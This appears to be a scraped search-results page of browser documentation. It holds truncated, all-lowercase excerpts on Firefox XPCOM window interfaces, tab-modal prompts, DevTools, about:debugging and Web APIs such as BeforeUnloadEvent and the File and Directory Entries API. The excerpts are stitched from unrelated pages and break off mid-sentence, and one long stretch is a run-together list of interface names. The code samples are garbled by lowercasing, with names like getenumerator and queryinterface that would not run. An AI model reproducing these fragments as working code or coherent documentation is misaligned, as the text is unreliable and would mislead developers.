undefined; var registeruri = 'http://mail.live.com/secure/start?action=compose&to=%s'; var myurihostname = services.io.newuri(registeruri, null, null).host; // this section here is long and daunting, but its just finding a suitable contentwindow var domwindows = services.wm.getenumerator(null); while (domwindows.hasmoreelements()) { var adomwindow = domwindows.getnext(); if (adomwindow.gbrowser) { if (adomwindow.gbrowser.tabcontainer) { //adomwindow has tabs var tabs = adomwindow.gbrowser.tabcontainer.childnodes; for (var i = 0; i < tabs.length; i++) { console.log(tabs[i].linkedbrowser.contentwindow.location); if (tabs[i].linkedbrowser.contentwindow.location.hostname == myurihostname) { htm...
...owser.tabcontainer) { //adomwindow has tabs var tabs = adomwindow.gbrowser.tabcontainer.childnodes; for (var i = 0; i < tabs.length; i++) { console.log(tabs[i].linkedbrowser.contentwindow.location); if (tabs[i].linkedbrowser.contentwindow.location.hostname == myurihostname) { htmlcontentwindow = tabs[i].linkedbrowser.contentwindow; break; //break for loop } } if (htmlcontentwindow) { break; //break while loop } } else { //adomwindow doest have any tabs if (adomwindow.gbrowser.contentwindow.location.hostname == myurihostname) { htmlcontentwindow = adomwindow.contentwindow; ...
...-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); var allowregisterfromdifferenthost = services.prefs.getboolpref('gecko.handlerservice.allowregisterfromdifferenthost'); if (!allowregisterfromdifferenthost) { services.prefs.setboolpref('gecko.handlerservice.allowregisterfromdifferenthost', true); } var htmlcontentwindow = services.wm.getmostrecentwindow('navigator:browser'); //because we set the preference to true above, we need any window that has a browser, just pass the domwindow and the registerprotocolhandler will get the contentwindow from it nsiwchr.registerprotocolhandler("mailto", "http://mail.live.com/secure/start?action=compose&to=%s", "outlook.com live mail", htmlcontentwindow); if (!allowregisterfromdifferenthost) { //it this variable is false, ...
...terfromdifferenthost) { //it this variable is false, than we had set the pref to true obviously. so lets restore it back to false, which is the default value services.prefs.clearuserpref('gecko.handlerservice.allowregisterfromdifferenthost'); } register a webmail service as mailto handler without contentwindow under construction. ...
nsIWindowMediator
nal || ci.nsidomwindow); domwindow.addeventlistener("load", function () { domwindow.removeeventlistener("load", arguments.callee, false); //this removes this load function from the window //window has now loaded now do stuff to it //as example this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { domwindow.gbrowser.tabcontainer.addeventlistener('tabselect', function () { domwindow.alert('tab was selected') }, false); } }, false); }, onclosewindow: function (awindow) {}, onwindowtitlechange: function (awindow, atitle) {} }; //to register services.wm.addlistener(windo...
...e method. void updatewindowtitle( in nsixulwindow awindow, in wstring intitle ); parameters awindow the window whose title has changed. intitle the window's new title. examples in the examples below, type specifies the type of windows you want to search. you can specify the type of your window by putting a windowtype attribute on the top-level element, like <window> or <dialog>. browser windows have a window type of navigator:browser. to search all windows, regardless of their type, pass an empty string, "". getting most recent window the following code is useful when you need any of the windows of given type, or to check if a window of a particular type (for example your extension's options dialog) is already open. getmostrecentwindow returns a chromewindow object, or null...
...erfaces.nsidocshelltreeitem).treeowner .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsixulwindow) enumerating windows the following code can be used if you need to do something for each open window of a particular type. for example, you could use it in the "ok" handler of your options dialog to apply the new settings to each open browser window. var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var enumerator = wm.getenumerator(type); while(enumerator.hasmoreelements()) { var win = enumerator.getnext(); // win is [object chromewindow] (just like window), do something with it } this code iterates over all windows of the specified...
... .getservice(components.interfaces.nsiwindowmediator); var enumerator = wm.getenumerator(type); while(enumerator.hasmoreelements()) { var win = enumerator.getnext(); // win is [object chromewindow] (just like window), do something with it } this code iterates over all windows of the specified type, where type you specify is the window type. if, for example, you wish to enumerate all browser windows, you would specify "navigator:browser". if you want to enumerate all windows regardless of type, specify null. note: in nsiwindowmediator's reference page the return type of getmostrecentwindow and the type of enumerator's elements is said to be nsidomwindow/nsidomwindowinternal. in fact, those methods usually (always?) return a chromewindow object, implementing both of those interface...
nsIXULWindow
contextflags pruint32 contextflags are from nsiwindowcreator2. docshell nsidocshell the docshell owning the xul for this window. read only. intrinsicallysized boolean indicates if this window is instrinsically sized. primarycontentshell nsidocshelltreeitem the primary content shell. note: that this is a docshell tree it...
...cshell nsidocshell the docshell owning the xul for this window. read only. intrinsicallysized boolean indicates if this window is instrinsically sized. primarycontentshell nsidocshelltreeitem the primary content shell. note: that this is a docshell tree item and therefore can not be assured of what object it is. it could be an editor, a docshell, or a browser object. or down the road any other object that supports being a docshelltreeitem query accordingly to determine the capabilities. read only. xulbrowserwindow nsixulbrowserwindow provides access to the xulbrowserwindow object offering a way for the browser to update the user interface of the enclosing xul window. zlevel unsigned long one of the z level constants be...
...relative to the main screen. false to center it relative to arelative itself (arelative must be set in this case.) aalert true to move the window to an alert position, generally centered horizontally and 1/3 down from the top. createnewwindow() create a new window. nsixulwindow createnewwindow( in print32 achromeflags, in nsiappshell aappshell ); parameters achromeflags see nsiwebbrowserchrome. aappshell the app shell passed to nsiappshellservice's createtoplevelwindow method. return value the newly minted window. in the case of a content window, the function creates a browser window and waits for it to load. you can then load a document into the window's primary content shell. getcontentshellbyid() the content shell specified by the supplied id. note: that this is a do...
...or down the road any other object that supports being a docshelltreeitem query accordingly to determine the capabilities. nsidocshelltreeitem getcontentshellbyid( in wstring id ); parameters id the id of the content shell, which is the same as the "type" attribute on the containing frame element. ...
XPCOM Interface Reference
dulensiauthpromptnsiauthprompt2nsiauthpromptadapterfactorynsiauthpromptcallbacknsiauthpromptprovidernsiauthpromptwrappernsiautocompletecontrollernsiautocompleteinputnsiautocompleteitemnsiautocompletelistenernsiautocompleteobservernsiautocompleteresultnsiautocompletesearchnsibadcertlistener2nsibidikeyboardnsibinaryinputstreamnsibinaryoutputstreamnsiblocklistpromptnsiblocklistservicensiboxobjectnsibrowserboxobjectnsibrowserhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipb...
...toryservicensinavhistoryvisitresultnodensinetworklinkservicensiobservernsiobserverservicensioutputstreamnsioutputstreamcallbacknsiparentalcontrolsservicensiparserutilsnsipasswordnsipasswordmanagernsipermissionnsipermissionmanagernsipipensiplacesimportexportservicensiplacesviewnsipluginhostnsiprefbranch2nsipreflocalizedstringnsiprefservicensiprincipalnsiprinterenumeratornsiprintingpromptnsiprivatebrowsingservicensiprocessnsiprocess2nsiprocessscriptloadernsiprofilensiprofilelocknsiprofileunlockernsiprogramminglanguagensiprogresseventsinknsipromptnsipromptservicensipropertiesnsipropertynsipropertybagnsipropertybag2nsipropertyelementnsiprotocolhandlernsiprotocolproxycallbacknsiprotocolproxyfilternsiprotocolproxyservicensiproxyinfonsipushmessagensipushservicensipushsubscriptionnsiradiointerfacelaye...
...treeviewnsiurinsiurifixupnsiurifixupinfonsiurlnsiurlformatternsiurlparsernsiutf8converterservicensiutf8stringenumeratornsiuuidgeneratornsiupdatensiupdatechecklistenernsiupdatecheckernsiupdateitemnsiupdatemanagernsiupdatepatchnsiupdatepromptnsiupdatetimermanagernsiuploadchannelnsiuploadchannel2nsiurllistmanagercallbacknsiusercertpickernsiuserinfonsivariantnsiversioncomparatornsiweakreferencensiwebbrowsernsiwebbrowserchromensiwebbrowserchrome2nsiwebbrowserchrome3nsiwebbrowserchromefocusnsiwebbrowserfindnsiwebbrowserfindinframesnsiwebbrowserpersistnsiwebcontenthandlerregistrarnsiwebnavigationnsiwebnavigationinfonsiwebpagedescriptornsiwebprogressnsiwebprogresslistenernsiwebprogresslistener2nsiwebsocketchannelnsiwebsocketlistenernsiwebappssupportnsiwifiaccesspointnsiwifilistenernsiwifimonitornsiwin...
...iworkernsiworkerfactorynsiworkerglobalscopensiworkermessageeventnsiworkermessageportnsiworkerscopensiwritablepropertybagnsiwritablepropertybag2nsixformsmodelelementnsixformsnsinstanceelementnsixformsnsmodelelementnsixmlhttprequestnsixmlhttprequesteventtargetnsixmlhttprequestuploadnsixpcexceptionnsixpcscriptablensixpconnectnsixsltexceptionnsixsltprocessornsixsltprocessorobsoletensixulappinfonsixulbrowserwindownsixulbuilderlistenernsixulruntimensixulsortservicensixultemplatebuildernsixultemplatequeryprocessornsixultemplateresultnsixulwindownsixmlrpcclientnsixmlrpcfaultnsizipentrynsizipreadernsizipreadercachensizipwriternsmsgfilterfileattribvaluensmsgfolderflagtypensmsgjunkstatusnsmsgkeynsmsglabelvaluensmsgpriorityvaluensmsgruleactiontypensmsgsearchattribnsmsgsearchopnsmsgsearchscopensmsgsearchte...
Using tab-modal prompts
by default. tab-modal alert. disabling tab-modal prompts you can disable tab-modal prompts and get back window-modal prompts by setting the prompts.tab_modal.enabled preference to false. using tab-modal prompts from chrome code currently, nsiprompt defaults to using window-modal prompts. you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window. even i...
... prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window. ...
...e var "thewindow" is a reference to the dom window. even if you set it to the browser window ("var thewindow = window") the modal alert will be shown in the current tab. from then on, you can use the nsiprompt object, prompt, as usual. ...
...targs); nsiprompt will automatically fall back to window-modal prompts when necessary (such as in situations in which tab-modal prompts aren't supported, or for prompts displayed outside the context of a tab).le to use other forms of the prompts of nsipromptservice interface see the example code. ...
Toolbox - Firefox Developer Tools
indow, but you can detach it if you like. this is what it looks like when it's docked: the window itself is split into two parts: a toolbar along the top, and a main pane underneath: note: since firefox 62, you can drag and drop tabs in the main toolbar of the toolbox to reorder your tools as you wish (bug 1226272). docking mode by default, the toolbox appears docked to the bottom of the browser window, but you can also dock it to the right-hand side of the window, or make it a standalone window, using buttons in the toolbar. toolbar the toolbar contains controls to activate a particular tool, to dock/float the window, and to close the window. node picker on the far left there's a button to activate the node picker. this lets you select a page element for inspection. see "selecti...
... main pane the content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected. keyboard shortcuts these shortcut...
... main pane the content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected. keyboard shortcuts these shortcuts work whenever the toolbox is open, no matter w...
...ownloads directory toggle rulers for the page measure a portion of the page: measure a part of the website by selecting areas within the page toolbox controls finally there's a row of buttons to: close the window toggle the window between attached to the bottom of the browser window, and attached to the side of the browser window toggle the window between standalone and attached to the browser window access developer tool settings settings see the separate page on the developer tools settings. main pane the content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected. keyboard shortcuts these shortcuts work whenever the toolbox is open, no matter which tool is active. command windows macos linux ...
about:debugging (before Firefox 68) - Firefox Developer Tools
you can do with this tool. the "enable add-on debugging" button works by turning on the devtools.chrome.enabled and devtools.debugger.remote-enabled preferences. both preferences must be true to enable add-on debugging. checking the box sets both preferences to true, and unchecking it sets them both to false. you can also modify the preferences directly in about:config, or by checking "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" in the developer tools settings. loading a temporary add-on with the "load temporary add-on" button you can load any sort of restartless add-on temporarily, from a directory on disk. just click the button, navigate to the directory containing the add-on's file, and select any file in that directory. the temporary add-on wil...
...ou make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown. there's a better way to handle the other cases: click the "reload" button next to the "debug" button. this does what it says: reloading any persistent scripts, such as background scripts parsing the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys will take effect. note that in firefox 49 onwards, the reload button is only enabled for temporary add-ons. it will be disabled for all other add-ons. tabs in firefox 49 onwards, a tabs page is available in about:debugging — this provides a complete list of all the debuggable tabs open in the current firefox instance. each tab entry has a debug button nex...
...toolbox specific to that tab, allowing you to debug that tab's contents. note that this feature isn't that immediately useful to debugging desktop tabs — you can open up a toolbox to debug a tab easily enough already — but this will become far more useful when about:debugging starts to support remote debugging, and this page can begin to list tabs available for debugging on mobile device browsers, simulators, etc. see bug 1212802 for the latest on this work. workers the workers page shows your workers, categorised as follows: all registered service workers all registered shared workers other workers, including chrome workers and dedicated workers you can connect the developer tools to each worker, and send push notifications to service workers. service worker state from f...
... can set a breakpoint in the push event listener. however, you can also debug push notifications locally, without needing the server. just click the "push" button to send a push event to the service worker: service workers not compatible in firefox 49+, a warning message will be displayed in the service workers section of the workers page if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged. service workers can be unavailable for several reasons: if you are using a private browsing window. if your history preference is set to "never remember history" or "always use private browsing mode". if the dom.serviceworkers.enable preference is set to false in about:config. ...
about:debugging - Firefox Developer Tools
open in a new tab. above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox preview, on a pixel 2, as well as the title of the page that you are debugging, and the address of the page. starting in firefox 78, the url bar is editable, so that you can change the url used by the browser on the remote device, by typing in firefox for desktop. you can also reload the page by clicking the reload button next to the url bar, and (starting 79), navigate backward or forward in the browsing history with the back and forward buttons. connecting over the network you can connect to a firefox debug server on your network, or on your debugging machine using the network location settings ...
... on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown. for other changes, click the reload button. this does what it says: reloads any persistent scripts, such as background scripts parses the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys take effect installed extensions the permanently installed extensions are listed in the next section, extensions. for each one, you see something like the following: the inspect button, and the extension id and internal uuid fields are the same as for temporary extensions. just as it does with temporarily loaded extensions, the link next to manifest url open...
...ently installed extensions are listed in the next section, extensions. for each one, you see something like the following: the inspect button, and the extension id and internal uuid fields are the same as for temporary extensions. just as it does with temporarily loaded extensions, the link next to manifest url opens the loaded manifest in a new tab. note: it's recommended that you use the browser toolbox, not the add-on debugger, for debugging webextensions. see debugging webextensions for all the details. the add-ons section in about:debugging lists all web extensions that are currently installed. next to each entry is a button labeled inspect. note: this list may include add-ons that came preinstalled with firefox. if you click inspect, the add-on debugger will start in a new ta...
...vice workers to debug push notifications, you can set a breakpoint in the push event listener. however, you can also debug push notifications locally, without needing the server. click the push button to send a push event to the service worker. service workers not compatible a warning message is displayed at the top of the this firefox tab if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged. service workers can be unavailable if the dom.serviceworkers.enable preference is set to false in about:config. connection to firefox for android 68 releases of firefox for android that are based on version 68 cannot be debugged from desktop firefox versions 69 or later, because of the difference in release versions. until such time...
BeforeUnloadEvent - Web APIs
d its resources are about to be unloaded. when a non-empty string is assigned to the returnvalue event property, a dialog box appears, asking the users for confirmation to leave the page (see example below). when no value is provided, the event is processed silently. some implementations only show the dialog box if the frame or any embedded frame receives a user gesture or user interaction. see browser compatibility for more information. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" w...
... window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other ...
... cancelable yes target objects defaultview interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box. an almost-cross-browser working example would be close to the below example. ...
...s-browser working example would be close to the below example. window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification. living standard initial definition ...
DOMHighResTimeStamp - Web APIs
omhighrestimestamp type is a double and is used to store a time value in milliseconds. this type can be used to describe a discrete point in time or a time interval (the difference in time between two discrete points in time). the time, given in milliseconds, should be accurate to 5 µs (microseconds), with the fractional part of the number indicating fractions of a millisecond. however, if the browser is unable to provide a time value accurate to 5 µs (due, for example, to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond. also note the section below on reduced time precision controlled by browser preferences to avoid timing attacks and fingerprinting. further, if the device or operating system the user agent is runni...
...in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20 µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 event.timestamp // 1519211809934 // 1519211810362 // 1519211811670 // ... ...
...cript for a site or app, or the time origin. the time origin the time origin is a standard time which is considered to be the beginning of the current document's lifetime. it's calculated like this: if the script's global object is a window, the time origin is determined as follows: if the current document is the first one loaded in the window, the time origin is the time at which the browser context was created. if during the process of unloading the previous document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the previous page, the time origin is the time at which the user confirmed that navigating to the new page was acceptable. if neither of the above determines the time origin, then the time origin i...
...e starting time in line 1. specifications specification status comment high resolution time level 2the definition of 'domhighrestimestamp' in that specification. recommendation stricter definitions of interfaces and types. high resolution timethe definition of 'domhighrestimestamp' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomhighrestimestampchro...
Document.registerElement() - Web APIs
see enabling web components in firefox. syntax var constructor = document.registerelement(tag-name, options); parameters tag-name the name of the custom element. the name must contain a dash (-), for example my-tag. ...
...see enabling web components in firefox. syntax var constructor = document.registerelement(tag-name, options); parameters tag-name the name of the custom element. the name must contain a dash (-), for example my-tag. ...
... parameters tag-name the name of the custom element. the name must contain a dash (-), for example my-tag. optionsoptional an object with properties prototype to base the custom element on, and extends, an existing tag to extend. both of these are optional. ...
...nd. both of these are optional. example here is a very simple example: var mytag = document.registerelement('my-tag'); now the new tag is registered in the browser. the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(new mytag()); this inserts an empty my-tag element that will be visible if you use the browser's developer tools. it will not be visible if you use the browser's view source capability. and it won't be visible in the browser unless you add some content to the tag. here is one way to add content to the new tag: var mytag = document.getelementsbytagname("my-tag")[0]; mytag.textcontent = "i am a my-tag element."; ...
Document.requestStorageAccess() - Web APIs
anted access, resolve. if the document has a null origin, reject. if the document's frame is the main frame, resolve. if the sub frame's origin is equal to the main frame's, resolve. if the sub frame is not sandboxed, skip to step 7. if the sub frame doesn't have the token allow-storage-access-by-user-activation, reject. if the sub frame's parent frame is not the top frame, reject. if the browser is not processing a user gesture, reject. check any additional rules that the browser has. examples: allow lists, block lists, on-device classification, user settings, anti-clickjacking heuristics, or prompting the user for explicit permission. reject if some rule is not fulfilled. grant the document access to cookies and other site storage and store that fact for the purposes of future calls...
...uirements above are satisfied, firefox will automatically grant storage access to the requesting origin on up to a threshold number of first-party origins in the current session for the duration of user’s session, up to a maximum of 24 hours. after the requesting origin has exceeded the maximum allowable number of storage access grants, any future call to requeststorageaccess() during the same browsing session will prompt the user. the maximum number of concurrent storage access grants an origin can obtain is a positive integer currently defined as one percent of the number of top-level origins visited in the current session or 5, whichever is higher. the threshold is enforced on the level of etld+1, so for example two storage access grants for foo.example.com and bar.example.com will only ...
...not prompted. the origin is given an ephemeral storage access grant for the current top-level origin. the number of origins the requesting origin has storage access to is incremented by one. note that this number is also incremented when automatic access grants are given through our compatibility heuristics. the ephemeral storage access grant is: invalidated at the end of the browser session. not persisted to disk (e.g. will not persist if the browser crashes). reset after 24 hours in the case of a long-running browser session. ...equal or more origins than the maximum: the user is prompted if the user clicks “allow” or “allow on any site” the request is resolved. if the user clicks “don’t allow”, the storage access request is rejected and th...
... the requesting origin can re-request once it receives another user interaction. if the user allows storage the requesting origin is given a persistent storage access grant on the current top-level origin. the number of origins the requesting origin has storage access to is incremented by one. the persistent storage access permission is: persisted to disk and will remain valid in future browser sessions. reset after 30 days. when an ephemeral or persistent storage access grant expires, the number of origins the requesting origin has storage access to is decremented by one. note: if the requesting origin is not classified as a tracking origin, the access request is automatically given an ephemeral storage access grant, which will go away when the page is reloaded. the user ...
Element: mousewheel event - Web APIs
important: instead of this obsolete event, use the standard wheel event. ...
...native wheel event. wheeldelta, wheeldeltax and wheeldeltay value the wheeldelta attribute value is an abstract value which indicates how far the wheel turned. if the wheel has rotated away from the user, it's positive, otherwise negative. this means that the delta value sign is different from dom level 3 event's wheel. however, the meaning of the amount of these values is not the same between browsers. see following explanation for the detail. ie and opera (presto) only support wheeldelta attribute and do not support horizontal scroll. the wheeldeltax attribute value indicates the wheeldelta attribute value along the horizontal axis. when a user operates the device for scrolling to right, the value is negative. otherwise, i.e., if it's to left, the value is positive. the wheeldeltay attr...
...in this case, the value is different from safari. this difference makes a serious issue for web application developers. that is, web developers cannot know if mousewheel event is caused by which device. see webinputeventfactory::mousewheelevent of the chromium's source code for the detail. safari the value is always computed from accelerated scroll amount. this is really different from other browsers except chrome with continuous scroll supported device. opera (presto) the value is always the detail attribute value ✕ 40. on windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page. on linux, the value is 80 or -80 per native wheel event. this is...
...continuous scroll supported device. opera (presto) the value is always the detail attribute value ✕ 40. on windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page. on linux, the value is 80 or -80 per native wheel event. this is different from other browsers. on mac, the detail attribute value is computed from accelerated scroll amout of native event. the value is usually much bigger than safari's or chrome's value. specifications not part of any specification. ...
FederatedCredential - Web APIs
the federatedcredential interface of the the credential management api provides information about credentials from a federated identity provider. a federated identity provider is an entity that a website trusts to correctly authenticate a user, and that provides an api for that purpose. openid connect is an example of a federated identity provider framework. in browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fetch. constructor federatedcredential() creates a new federatedcredential object. properties inherits properties from its ancestor, credential. federatedcredential.provider read only returns a usvstring containing a credential's federated identity provider. federatedcredential.protocol r...
...e. methods none. examples var cred = new federatedcredential({ id: id, name: name, provider: 'https://account.google.com', iconurl: iconurl }); // store it navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential expe...
... ...
... ...
FileEntrySync - Web APIs
the fileentrysync interface of the file system api represents a file in a file system. it lets you write content to a file. inherits from: entrysync about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011. this specification is more or less abandoned as it didn't get significant traction among browser makers. basic concepts to write content to file, create a filewriter object by calling createwriter(). method overview filewritersync createwriter () raises (fileexception); file file () raises (fileexception); methods createwriter() creates a new filewriter associated with the file that the fileentry represents. void createwriter ( ) raises (fileexception); parameter ...
...the file that this fileentry represents. void file ( ) raises (fileexception); parameter none. returns file exceptions this method can raise a fileexception with the following codes: exception description not_found_err the file does not exist. invalid_state_err the file is no longer valid for some reason other than it having been deleted. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileentrysync non-standa...
... ...
... ...
FileSystemDirectoryReader.readEntries() - Web APIs
t the recursive scanfiles() function. this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter). note that to read all files in a directory, readentries needs to be called repeatedly until it returns an empty array. in chromium-based browsers, the following example will only return a max of 100 entries. let dropzone = document.getelementbyid("dropzone"); let listing = document.getelementbyid("listing"); function scanfiles(item, container) { let elem = document.createelement("li"); elem.innerhtml = item.name; container.appendchild(elem); if (item.isdirectory) { let directoryreader = item.createreader(); let direct...
...nd walking down into it if it's a directory. result you can see how this works by trying it out below. find some files and directories and drag them in, and take a look at the resulting output. specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadentries deprecatedno...
...not for use in new websites.deprecated. not for use in new websites. on chrome 77, readentries() will only return the first 100 filesystementry instances. in order to obtain all of the instances, readentries() must be called multiple times. ...
...not for use in new websites.deprecated. not for use in new websites. on chrome 77, readentries() will only return the first 100 filesystementry instances. in order to obtain all of the instances, readentries() must be called multiple times. ...
FileSystemDirectoryReader - Web APIs
the filesystemdirectoryreader interface of the file and directory entries api lets you access the fileentry-based objects (generally filesystemfileentry or filesystemdirectoryentry) representing each entry in a directory. because this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. check the browser compatibility section for details. methods readentries() returns an array containing some number of the directory's entries. each item in the array is an object based on filesystementry—typically either filesystemfileentry or filesystemdirectoryentry. specifications specification status comment fil...
...returns an array containing some number of the directory's entries. each item in the array is an object based on filesystementry—typically either filesystemfileentry or filesystemdirectoryentry. specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemdirectoryreade...
...not for use in new websites.deprecated. not for use in new websites.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...not for use in new websites.deprecated. not for use in new websites.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
FileSystemEntry.toURL() - Web APIs
pport tourl()). example if you have a filesystemfileentry corresponding to an image file in a file system available to your web site or app, you can call tourl() to get its url for use in html. if your site is located at http://my-awesome-website.woot, and you have a temporary file system that contains an image file named awesomesauce.jpg, the url returned by tourl() might be (depending on the browser's implementation) something like "filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg". code that makes use of this might look like this: let img = document.createelement("img"); img.src = imagefileentry.tourl(); document.body.appendchild(img); assuming the scenario mentioned before the code, the result would be html that looks like this being appended to the end of the doc...
...esomesauce.jpg". code that makes use of this might look like this: let img = document.createelement("img"); img.src = imagefileentry.tourl(); document.body.appendchild(img); assuming the scenario mentioned before the code, the result would be html that looks like this being appended to the end of the document: <img src="filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg"> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettourl experimentaldeprec...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
FileSystemEntry - Web APIs
ented by the directoryentry interface). it includes methods for working with files—including copying, moving, removing, and reading files—as well as information about a file it points to—including the file name and its path from the root to the entry. because this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. check the browser compatibility section for details. basic concepts you don't create filesystementry objects directly. instead, you will receive an object based on this interface through other apis. this interface serves as a base class for the filesystemfileentry and filesystemdirectoryentry interfaces, which provide ...
... the origin of the app. for example, if your app is in http://www.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files and folders stored the origin of your app. example to see an example of how tourl() works, see the method description. the snippet below shows you how you can remove a file by name. // taking care of the browser-specific prefixes. window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; ... // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, function(fs) { fs.root.getfile('log.txt', {}, function(fileentry) { fileentry.remove(function() { console.log('file removed.'); }, onerror); }, onerror); }, oner...
...emoves the specified file or directory. you can only remove directories which are empty. tourl() creates and returns a url which identifies the entry. this url uses the url scheme "filesystem:". specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystementry experim...
... nosamsung internet android full support yeslegend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
File and Directory Entries API - Web APIs
